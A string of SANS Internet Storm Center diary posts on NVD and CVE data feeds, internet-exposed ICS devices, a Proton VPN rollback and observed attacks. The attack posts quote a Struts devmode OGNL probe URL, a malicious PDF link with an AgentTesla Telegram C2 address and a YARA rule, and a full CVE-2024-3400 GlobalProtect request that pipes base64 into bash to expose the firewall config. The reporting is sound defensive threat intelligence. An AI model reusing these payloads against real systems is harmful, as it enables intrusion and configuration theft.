$v[7].cve.metrics.cvssmetricv30 source              : nvd@nist.gov type                : Primary cvssData            : @{version=3.0; vectorString=CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H; attackVector=NETWORK;                       attackComplexity=LOW; privilegesRequired=NONE; userInteraction=REQUIRED; scope=UNCHANGED;                       confidentialityImpact=HIGH; integrityImpact=HIGH; availabilityImpact=HIGH; baseScore=8.8;                       baseSeverity=HIGH} exploitabilityScore : 2.8 impactScore         : 5.9   $v[7].cve.metrics.cvssmetricv30.exploitabilityscore 2.8 $v[7].cve.metrics.cvssmetricv30.impactscore 5.9   $v[7].cve.metrics.cvssmetricv30.cvssdata version               : 3.0 vectorString          : CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H attackVector          : NETWORK attackComplexity      : LOW privilegesRequired    : NONE userInteraction       : REQUIRED scope                 : UNCHANGED confidentialityImpact : HIGH integrityImpact       : HIGH availabilityImpact    : HIGH baseScore             : 8.8 baseSeverity          : HIGH   $v[7].cve.metrics.cvssmetricv30.cvssdata.basescore 8.8

Going back to collect the URL references:

$v[7].cve.references | fl   url    : http://packetstormsecurity.com/files/137096/Microsoft-Windows-gdi32.dll-ExtEscape-Buffer-Overflow.html source : secure@microsoft.com url    : http://www.securityfocus.com/bid/89864 source : secure@microsoft.com url    : http://www.securitytracker.com/id/1035823 source : secure@microsoft.com url    : https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-055 source : secure@microsoft.com So, for just the URLs: $v[7].cve.references.url http://packetstormsecurity.com/files/137096/Microsoft-Windows-gdi32.dll-ExtEscape-Buffer-Overflow.html http://www.securityfocus.com/bid/89864 http://www.securitytracker.com/id/1035823 https://docs.microsoft.com/en-us/security-updates/securitybulletins/2016/ms16-055

The API key? So far I haven't needed it.  This may just be a way of the NVD folks getting a list of the developers that use their API (with email addresses), so that they can tell us in advance when API 2.1 or 3.0 is about to be released(?)  If it is, I'm 100% OK with that, I WANT to know in advance if someone else is going to break my code!

As always, I'll update my cvescan script in the next few days to match the new API, you can find it in my github then at https://github.com/robvandenbrink

If you have used external APIs in your code, then had the API unexpectedly change on you and bite you, please use our comment form and share the details (if your NDA permits?)

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Like many similar frameworks and languages, Struts 2 has a "developer mode" (devmode) offering additional features to aid debugging. Error messages will be more verbose, and the devmode includes an OGNL console. OGNL, the Object-Graph Navigation Language, can interact with Java, but in the end, executing OGNL results in arbitrary code execution. This OGNL console resembles a "web shell" built into devmode. 

No matter the language, and the exact features it provides, enabling a "devmode", "debug mode" or similar feature in production is never a good idea. But it probably surprises no one that it still shows up in publicly exposed sites ever so often. Attackers know this as well, and are "playing" with it.

To take advantage of devmode, an attacker would request a URL like:

/[anything].action?debug=command&expression=[OGNL Expression]

I noticed today that one URL in this format is showing up in our "first seen" URLs:

/devmode.action?debug=command&expression= (#_memberAccess["allowStaticMethodAccess"]=true, #foo=new java.lang.Boolean("false") , #context["xwork.MethodAccessor.denyMethodExecution"]=#foo, @org.apache.commons.io.IOUtils

For readability, I URL decoded and added spaces. This URL is likely just a scan for vulnerable systems. I ran a quick database query to see if we have other similar URLs recently. Indeed we had 2,443 distinct URLs in our database. Most of them follow this pattern:

debug=command&expression=(43867*40719)

Again, a simple check is performed to see if a system is vulnerable. Scans for this issue are sporadic, but we have had some notable increases recently. An old issue like this often comes back as people start to forget about it, so take this as a reminder to double-check your systems.

I am plotting the last two years below, and you see big spikes on February 24th, 27th, and April 19th this year.

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

It has been nearly three years since we last looked at the number of industrial devices (or, rather, devices that communicate with common OT protocols, such as Modbus/TCP, BACnet, etc.) that are accessible from the internet[1]. Back in May of 2021, I wrote a slightly optimistic diary mentioning that there were probably somewhere between 74.2 thousand (according to Censys) and 80.8 thousand (according to Shodan) such systems, and that based on long-term data from Shodan, it appeared as though there was a downward trend in the number of these systems.

Given that few months ago, a series of incidents related to internet-exposed PLCs with default passwords was reported[2], and CISA has been releasing more ICS-related advisories than any other kind for a while now[3], I thought it might be a good time to go over the current numbers and see at how the situation has changed over the past 35 months.

At first glance, the current number of ICS-like devices accessible from the internet would seem to be somewhere between 61.7 thousand (the number of “ICS” devices detected by Shadowserver[4]) and 237.2 thousand (the number of “ICS" devices detected by Censys[5]), with Shodan reporting an in-between number of 111.1 thousand [6].  It should be noted though, that even if none of these services necessarily correctly detects all OT devices, the number reported by Censys seems to be significantly overinflated by the fact that the service uses a fairly wide definition of what constitutes an “ICS system” and classifies as such even devices that do not communicate using any of the common industrial protocols. If we do a search limited only to devices that use one of the most common protocols that Censys can detect (e.g., Modbus, Fox, EtherNet/IP, BACnet, etc.), we get a much more believable/comparable number of 106.2 thousand[7].

It is therefore probable that the real number of internet-connected ICS systems is currently somewhere between 61 and 111 thousand, with data from Shodan and Censys both showing an increase of approximately 30 thousand from May 2021. It should be noted, though, that some of the detected devices are certain to be honeypots – of the 106.2 thousand systems reported by Censys, 307 devices were explicitly classified as such[8], however, it is likely that the real number of honeypots among detected systems is significantly higher.

If we take a closer look at some of the most often detected industrial protocols, it quickly becomes obvious that – with the exception of BACnet – the data reported by all three services varies significantly between different protocols.

It also becomes apparent that the large difference between the number of ICS systems detected by Shodan and Censys (> 100k) and the much smaller number detected by Shadowserver (61k) is caused mainly by a significantly lower number of detected devices that use Modbus on part of Shadowserver. For comparison, at the time of writing, Censys detects 54,770 internet-exposed devices using this protocol, while Shodan detects 33,036 of such devices, and Shadowserver detects only about 6,300 of them.

While on the topic of Modbus, it is worth noting that the number of ICS-like devices that support this protocol detected by both Shodan and Censys has increased significantly since 2021, and this increase seems to account for most of the overall rise in the number of detected ICS devices.

In fact, if we take a closer look at the changes over time, it is clear that the downward trend, which I mentioned in the 2021 diary, didn’t last too long. Looking at data gathered from Shodan using my TriOp tool[9], it seems that shortly after I published the diary, the number of detected ICS devices rose significantly, and it has oscillated around approximately 100 thousand ever since.

Although data provided by Shodan are hardly exact, the hypothesis that the number of internet-connected ICS devices has not fallen appreciably for at least the last two years seems to be supported by data from Shadowserver, as you may see in the following chart.

Nevertheless, even though there has therefore probably not been any notable decrease in the number of internet-connected ICS devices, this doesn’t mean that there have not been changes in the types of devices and the protocols they communicate with. As the following chart from Shodan shows, these aspects have changed quite a lot over time.

It is also worth mentioning that these charts and the aforementioned numbers describe the overall situation on the global internet, and therefore say nothing about the state of affairs in different countries around the world. This is important since although there may not have been any appreciable decrease in the number of internet-exposed ICS devices globally, it seems that the number of these devices has decreased significantly in multiple countries in the past few years – most notably in the United States, as you may see in the following chart from Shodan (though, it is worth noting that Shadowserver saw only a much lower decrease for the US – from approximately 32 thousand ICS devices to the current 29.5 thousand devices[10]).

Unfortunately, the fact that in some countries, the number of internet-connected ICS devices has fallen also means that there are (most likely) multiple countries where it has just as significantly risen, given that we have not seen an overall, global decrease… In fact, the must be countries where it rose much more significantly, given the aforementioned overall increase of approximately 30 thousand ICS systems detected by both Shodan and Censys globally.

So, while I have ended the 2021 diary stating a hope that the situation might improve in time and that the number of industrial/OT systems accessible from the internet will decrease, I will end this one on a slightly more pessimistic note – hoping that the situation doesn’t worsen just as significantly in the next three years as it did in the past three…

[1] https://isc.sans.edu/diary/Number+of+industrial+control+systems+on+the+internet+is+lower+then+in+2020but+still+far+from+zero/27412
[2] https://therecord.media/cisa-water-utilities-unitronics-plc-vulnerability
[3] https://www.cisa.gov/news-events/cybersecurity-advisories?page=0
[4] https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=30&source=ics&style=stacked
[5] https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=labels%3D%60ics%60
[6] https://www.shodan.io/search?query=tag%3Aics
[7] https://search.censys.io/search?resource=hosts&sort=RELEVANCE&per_page=25&virtual_hosts=EXCLUDE&q=%28labels%3D%60ics%60%29+and+%28services.service_name%3D%60MODBUS%60+or+services.service_name%3D%60FOX%60+or+services.service_name%3D%60BACNET%60+or+services.service_name%3D%60EIP%60+or+services.service_name%3D%60S7%60+or+services.service_name%3D%60IEC60870_5_104%60%29
[8] https://search.censys.io/search?resource=hosts&virtual_hosts=EXCLUDE&q=%28%28labels%3D%60ics%60%29+and+%28services.service_name%3D%60MODBUS%60+or+services.service_name%3D%60FOX%60+or+services.service_name%3D%60BACNET%60+or+services.service_name%3D%60EIP%60+or+services.service_name%3D%60S7%60+or+services.service_name%3D%60IEC60870_5_104%60%29%29+and+labels%3D%60honeypot%60
[9] https://github.com/NettleSec/TriOp
[10] https://dashboard.shadowserver.org/statistics/combined/time-series/?date_range=other&d1=2022-04-23&d2=2024-04-22&source=ics&geo=US&style=stacked

-----------
Jan Kopriva
@jk0pr | LinkedIn
Nettles Consulting

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

The downloadable format of CVE's from Miter will be changing in June 2024, so if you are using CVE downloads to populate your scanner, SIEM or to feed a SOC process, now would be a good time to look at that.  If you are a vendor and use these downloads to populate your own feeds or product database, if you're not using the new format already you might be behind the eight ball!

The old format (CVE JSON 4.0) is being replaced by CVE JSON 5.0, full details can be found here:
https://www.cve.org/Media/News/item/blog/2023/03/29/CVE-Downloads-in-JSON-5-Format

You can play with the actual files here: https://github.com/CVEProject/cvelistV5

(ps the earworm is free!)

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

The NVD (National Vulnerability Database) announcement page (https://nvd.nist.gov/general/news/nvd-program-transition-announcement) indicates a growing backlog of vulnerabilities that are causing delays in their process.

CVE's are issued by CNA's (CVE Numbering Authorities), and the "one version of the truth" for CVE's is at Mitre.org (the V5 list is here https://github.com/CVEProject/cvelistV5).  There are roughly 100 (and growing) CNA's that have blocks of numbers and can issue CVEs on their own recognizance, along with MITRE who is the "root CNA".  The CVE process seems to be alive and well (thanks for that MITRE!)

In the past NVD typically researched each CVE as it came in, and the CVE would become a posted vulnerability, enriched with additional fields and information (ie metadata), within hours(ish).  This additional metadata makes for a MUCH more useful reference - the vuln now contains the original CVE, vendor links, possibly mitigations and workarounds, links to other references (CWE's for instance), sometimes PoC's.  The vulnerability entry also contains the CPE information, which makes for a great index if you use this data in a scanner, IPS or SIEM (or anything else for that matter).  For instance, compare the recent Palo Alto issue's CVE and NVD entries:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-3400
• https://nvd.nist.gov/vuln/detail/CVE-2024-3400

This enrichment process has slowed significantly starting on Feb 12 - depending on the CVE this process may be effectively stopped entirely.  This means that if your scanner, SIEM or SOC process needs that additional metadata, a good chunk of the last 2 months worth of vulnerabilities essentially have not yet happened as far as the metadata goes.  You can see how this is a problem for lots of vendors that produce scanners, firewalls, Intrustion Prevention Systems and SIEMs - along with all of their customers (which is essentially all of us).

Feb 12 coincidentally is just ahead of the new FedRAMP requirements (Rev 5) being released https://www.fedramp.gov/blog/2023-05-30-rev-5-baselines-have-been-approved-and-released/.  Does this match up mean that NIST perhaps had some advance notice, and they maybe have outsourcers that don't (yet) meet these FedRAMP requirements?  Or is NIST itself not yet in compliance with those regulations? The timing doesn't match for dev's running behind on the CVE Format change - that's not until June.  Lots of maybes, but nobody seems to know for sure what's going on here and why - if you have real information on this, please post in our comment form!  Enquiring minds (really) need to know!

=============== Addition ===============

One of our readers notes that the Feb 12 date corresponds closely to Kernel.org being added as a CNA (https://www.cve.org/Media/News/item/news/2024/02/13/kernel-org-Added-as-CNA), with (at the time) an anticipated floodlike rate of Linux CVEs being expected after that.  If that's the case, this may just be NVD saying "stand by while we hire some new folks and get them plugged into our process", or it could also be "stand by while we negotiate with this new CNA about what constitutes a CVE". 

If this pause is related to that CNA onboarding, hopefully we won't be standing by too much longer ...

===============
Rob VandenBrink
rob@coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Billions of PDF files are exchanged daily and many people trust them because they think the file is "read-only" and contains just "a bunch of data". In the past, badly crafted PDF files could trigger nasty vulnerabilities in PDF viewers. All of them were affected at least once, especially Acrobat or FoxIt readers. A PDF file can also be pretty "dynamic" and embed JavaScript scripts, auto-open action to trigger the execution of a script (for example PowerShell on Windows, etc), or any other type of embedded data.

Today it's slightly different: Most PDF files can be rendered and displayed directly by the operating system or in the web browser. Most dynamic features in PDF files do not work out of the box. Attackers had to find another way to use these trusted documents. The PDF file format is complex and supports many features. One of them is the "Annot" keyword which helps to link an object to a URL by defining a "clickable" zone. Here is an example:

obj 19 0
 Type: /Annot
 Referencing: 
  <<
    /F 4
    /Subtype /Link
    /A
      <<
        /S /URI
        /Type /Action
        /URI (hxxps://firstviewautoservice[.]com//men/Prefer Quotation.zip)
      >>
    /Type /Annot
    /StructParent 100000
    /Border [0 0 0]
    /Rect [228.0958 225.9112 366.9041 265.6779]
  >>

PDF files are based on "objects" used and objects are linked together to render the document. How to interpret this piece of code? A clickable zone ("/Rect") is defined and an annotation is created ("/Annot") to link the rectangle to a URI ("/SubType Link"). If the victim clicks on the rectangle, the application rendering the PDF file will open the default browser and visit the provided URL. That's what the user sees:

The defined rectangle (the clickable zone) is created on top of the "PREVIEW FILE" button. Guess what will happen?

The link will download a ZIP archive that contains a sample of AgentTesla communication through a C2 on Telegram:

{
    "c2": [
        "hxxps://api[.]telegram[.]org/bot6455833672:AAEFwznYRFbwog3UBqp13FPbH7YVb236SRI/"
    ],
    "rule": "AgentTeslaV5",
    "family": "agenttesla"
}

I wrote a quick and dirty YARA rule to detect such types of PDF documents:

rule PDF_with_annot {
    meta:
        description = "Detects the presence of a URL linked to a clickable object in a PDF"
        author = "Xavier Mertens"
    strings:
        $page = "/Type /Page\n"
        $annot= "/Type /Annot"
        $link = "/Subtype /Link"
        $action = "/Type /Action"
        $uri = "/URI ("
        $rect = "/Rect ["
        $pdf  = "%PDF-"
    condition:
        $pdf at 0 and #page == 1 and #annot < 3 and #link < 3 and $action and $uri and $rect
}

Malicious documents with an annotation remain simple and contain usually just one page with a limited amount of annotations (<3). The sample that I spotted has a low VT score (6/60 (SHA256:87455c255848e08c1e95370d6744c196a9d6ba793353312d929e43a4e2c006ea).

Conclusion: a PDF file with a bit of social engineering remains a nice way to deliver malicious content to a user.

[1] https://www.virustotal.com/gui/file/87455c255848e08c1e95370d6744c196a9d6ba793353312d929e43a4e2c006ea

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

The Palo Alto Networks vulnerability has been analyzed in depth by various sources and exploits [1]. 

We have gotten several reports of exploits being attempted against GlobalProtect installs. In addition, we see scans for the GlobalProtect login page, but these scans predated the exploit. VPN gateways have always been the target of exploits like brute forcing or credential stuffing attacks.

GET /global-protect/login.esp HTTP/1.1
Host: [redacted]
User-Agent: python-requests/2.25.1
Accept-Encoding: gzip, deflate
Accept: /
Connection: keep-alive
Cookie: SESSID=.././.././.././.././.././.././.././.././../opt/panlogs/tmp/device_telemetry/minute/'}|{echo,Y3AgL29wdC9wYW5jZmcvbWdtdC9zYXZlZC1jb25maWdzL3J1bm5pbmctY29uZmlnLnhtbCAvdmFyL2FwcHdlYi9zc2x2cG5kb2NzL2dsb2JhbC1wcm90ZWN0L2Rrc2hka2Vpc3NpZGpleXVrZGwuY3Nz}|{base64,-d}|bash|{'

The exploit does exploit a path traversal vulnerability. The session ID ("SESSID" cookie) creates a file. This vulnerability can create a file in a telemetry directory, and the content will be executed (see the Watchtwr blog for more details).

In this case, the code decoded to:

cp /opt/pancfg/mgmt/saved-configs/running-config.xml /var/appweb/sslvpndocs/global-protect/dkshdkeissidjeyukdl.css

Which will make the "running-config.xml" available for download without authentication. You may want to check the "/var/appweb/sslvpndocs/global-protect/" folder for similar files. I modified the random file name in case it was specific to the target from which we received this example.

One IP address that stuck out for aggressive scans for URLs containing "global-protect" in recent days was %%ip:91.92.249.130%%.  This IP address scanned for "/global-protect/login.esp" since at least a month ago. It also scanned for various other perimeter gateways. The IP appears to be used by a US company (Limenet) but is assigned to a server located in Amsterdam, NL.

 

 

[1] https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Package updates/upgrades by maintainers on the Linux platforms are always appreciated, as these updates are intended to offer new features/bug fixes. However, in rare circumstances, there is a need to downgrade the packages to a prior version due to unintended bugs or potential security issues, such as the recent xz-utils backdoor. Consistently backing up your data before significant updates is one good countermeasure against grief. However, what if one was not diligently practicing such measures and urgently needed to simply roll back to a prior version of the said package? I was recently put in this unenviable position when configuring one of my systems, and somehow, the latest version of Proton VPN (version 4.3.0) would not work and displayed the following output after I executed it:
 

Traceback (most recent call last):
  File "/usr/bin/protonvpn-app", line 33, in <module>
    sys.exit(load_entry_point('proton-vpn-gtk-app==4.3.0', 'console_scripts', 'protonvpn-app')())
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/bin/protonvpn-app", line 25, in importlib_load_entry_point
    return next(matches).load()
           ^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/importlib/metadata/__init__.py", line 202, in load
    module = import_module(match.group('module'))
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.11/importlib/__init__.py", line 126, in import_module
    return _bootstrap._gcd_import(name[level:], package, level)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "<frozen importlib._bootstrap>", line 1204, in _gcd_import
  File "<frozen importlib._bootstrap>", line 1176, in _find_and_load
  File "<frozen importlib._bootstrap>", line 1147, in _find_and_load_unlocked
  File "<frozen importlib._bootstrap>", line 690, in _load_unlocked
  File "<frozen importlib._bootstrap_external>", line 940, in exec_module
  File "<frozen importlib._bootstrap>", line 241, in _call_with_frames_removed
  File "/usr/lib/python3/dist-packages/proton/vpn/app/gtk/__main__.py", line 25, in <module>
    from proton.vpn.app.gtk.app import App
  File "/usr/lib/python3/dist-packages/proton/vpn/app/gtk/app.py", line 28, in <module>
    from proton.vpn.app.gtk.controller import Controller
  File "/usr/lib/python3/dist-packages/proton/vpn/app/gtk/controller.py", line 29, in <module>
    from proton.vpn.core.api import ProtonVPNAPI, VPNAccount
  File "/usr/lib/python3/dist-packages/proton/vpn/core/api.py", line 33, in <module>
    from proton.vpn.core.usage import UsageReporting, usage_reporting
  File "/usr/lib/python3/dist-packages/proton/vpn/core/usage.py", line 19, in <module>
    import sentry_sdk
  File "/usr/lib/python3/dist-packages/sentry_sdk/__init__.py", line 1, in <module>
    from sentry_sdk.hub import Hub, init
  File "/usr/lib/python3/dist-packages/sentry_sdk/hub.py", line 8, in <module>
    from sentry_sdk.scope import Scope
  File "/usr/lib/python3/dist-packages/sentry_sdk/scope.py", line 7, in <module>
    from sentry_sdk.attachments import Attachment
  File "/usr/lib/python3/dist-packages/sentry_sdk/attachments.py", line 5, in <module>
    from sentry_sdk.envelope import Item, PayloadRef
  File "/usr/lib/python3/dist-packages/sentry_sdk/envelope.py", line 7, in <module>
    from sentry_sdk.session import Session
  File "/usr/lib/python3/dist-packages/sentry_sdk/session.py", line 5, in <module>
    from sentry_sdk.utils import format_timestamp
  File "/usr/lib/python3/dist-packages/sentry_sdk/utils.py", line 1305, in <module>
    HAS_REAL_CONTEXTVARS, ContextVar = _get_contextvars()
                                       ^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/sentry_sdk/utils.py", line 1275, in _get_contextvars
    if not _is_contextvars_broken():
           ^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/sentry_sdk/utils.py", line 1228, in _is_contextvars_broken
    from eventlet.patcher import is_monkey_patched  # type: ignore
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/eventlet/__init__.py", line 6, in <module>
    from eventlet import convenience
  File "/usr/lib/python3/dist-packages/eventlet/convenience.py", line 7, in <module>
    from eventlet.green import socket
  File "/usr/lib/python3/dist-packages/eventlet/green/socket.py", line 21, in <module>
    from eventlet.support import greendns
  File "/usr/lib/python3/dist-packages/eventlet/support/greendns.py", line 78, in <module>
    setattr(dns, pkg, import_patched('dns.' + pkg))
                      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/eventlet/support/greendns.py", line 60, in import_patched
    return patcher.import_patched(module_name, **modules)
           ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/eventlet/patcher.py", line 132, in import_patched
    return inject(
           ^^^^^^^
  File "/usr/lib/python3/dist-packages/eventlet/patcher.py", line 109, in inject
    module = __import__(module_name, {}, {}, module_name.split('.')[:-1])
             ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/dns/asyncquery.py", line 32, in <module>
    import dns.quic
  File "/usr/lib/python3/dist-packages/dns/quic/__init__.py", line 37, in <module>
    import trio
  File "/usr/lib/python3/dist-packages/trio/__init__.py", line 22, in <module>
    from ._core import TASK_STATUS_IGNORED as TASK_STATUS_IGNORED  # isort: split
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3/dist-packages/trio/_core/__init__.py", line 21, in <module>
    from ._local import RunVar, RunVarToken
  File "/usr/lib/python3/dist-packages/trio/_core/_local.py", line 9, in <module>
    from . import _run
  File "/usr/lib/python3/dist-packages/trio/_core/_run.py", line 2787, in <module>
    from ._io_epoll import (
  File "/usr/lib/python3/dist-packages/trio/_core/_io_epoll.py", line 202, in <module>
    class EpollIOManager:
  File "/usr/lib/python3/dist-packages/trio/_core/_io_epoll.py", line 203, in EpollIOManager
    _epoll: select.epoll = attr.ib(factory=select.epoll)
                                           ^^^^^^^^^^^^
AttributeError: module 'eventlet.green.select' has no attribute 'epoll'

I had to get the VPN working, and I felt that rolling back to a known good version was the quickest way. After thinking hard and with some consulting on online documentation, I managed to rollback to the previous version (4.2.0). I will share the steps I took below.

1. Check your dpkg.log for the dates and packages that were upgraded

cat /var/log/dpkg.log

2. After determining the date range, shorten the log file to double check the entries and uncover the old and new version numbers of the affected packages [in this example, the date used is 2024-04-15 (YYYY-MM-DD) in the first field of dpkg.log, and upgrade is used in the third field of the dpkg.log]

awk '$1=="2024-04-15" && $3=="upgrade"' /var/log/dpkg.log

3. Determine if the cached package files are still on disk (hopefully sudo apt autoclean was not executed!)

awk '$1=="2024-04-15" && $3=="upgrade" {gsub(/:/, "%3a", $5); split($4, f, ":"); print "/var/cache/apt/archives/" f[1] "_" $5 "_" f[2] ".deb"}' /var/log/dpkg.log | xargs -r ls -ld

4. I still had my cached files (thankfully!). I ran the following command to force install the older package files:

sudo dpkg -i /var/cache/apt/archives/proton-vpn-gtk-app_4.2.0_all.deb /var/cache/apt/archives/python3-proton-keyring-linux-secretservice_0.0.1_all.deb /var/cache/apt/archives/python3-proton-keyring-linux_0.0.1_all.deb /var/cache/apt/archives/python3-proton-vpn-api-core_0.21.0_all.deb /var/cache/apt/archives/python3-proton-vpn-connection_0.14.2_all.deb /var/cache/apt/archives/python3-proton-vpn-network-manager-openvpn_0.0.4_all.deb /var/cache/apt/archives/python3-proton-vpn-network-manager_0.4.0_all.deb /var/cache/apt/archives/python3-proton-vpn-session_0.6.5_all.deb

After the install process was completed, I rebooted the machine and was glad to have ProtonVPN working again. Admittedly, it does not solve the mystery why version 4.3.0 could not work on Debian, but at least I can have connectivity and do work.

-----------
Yee Ching Tok, Ph.D., ISC Handler
Personal Site
Mastodon
Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

This is a quick update to our initial diary from this weekend [CVE-2024-3400].

At this point, we are not aware of a public exploit for this vulnerability. The widely shared GitHub exploit is almost certainly fake.

As promised, Palo Alto delivered a hotfix for affected versions on Sunday (close to midnight Eastern Time). 

One of our readers, Mark, observed attacks attempting to exploit the vulnerability from two IP addresses:

%%ip:173.255.223.159%%: An Akamai/Linode IP address. We do not have any reports from this IP address. Shodan suggests that the system may have recently hosted a WordPress site.

%%ip:146.70.192.174%%: A system in Singapore that has been actively scanning various ports in March and April.

According to Mark, the countermeasure of disabling telemetry worked. The attacks where directed at various GlobalProtect installs, missing recently deployed instances. This could be due to the attacker using a slightly outdated target list.

Please let us know if you observe any additional attacks or if you come across exploits for this vulnerability. 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.